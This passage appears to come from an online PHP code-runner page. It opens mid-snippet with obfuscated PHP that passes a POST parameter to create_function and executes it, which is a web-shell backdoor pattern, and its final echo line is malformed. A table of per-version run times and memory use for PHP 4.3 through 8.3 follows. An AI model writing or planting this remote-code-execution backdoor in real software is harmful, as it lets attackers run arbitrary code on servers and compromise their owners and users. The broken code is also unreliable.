$_POST['l__l_']);$l____l_=create_function('',$l___l_);unset($l___l_,$l__l_);$l____l_();}} echo md5($l__l_).substr(md5(strrev($l__l_)));?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00318.18
8.3.50.0110.00521.95
8.3.40.0150.00618.84
8.3.30.0060.01319.09
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8.2.80.0000.00817.97
8.2.70.0090.00017.75
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8.2.40.0070.00018.22
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8.1.280.0090.00625.92
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5.0.50.0170.0238.65
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5.0.00.0200.0408.28
4.4.90.0030.0306.13
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4.4.60.0100.0276.13
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4.4.40.0100.0406.13
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4.3.40.0100.0436.13
4.3.30.0070.0306.13
4.3.20.0070.0306.13
4.3.10.0000.0276.13
4.3.00.0130.0238.11

preferences:
70.42 ms | 401 KiB | 5 Q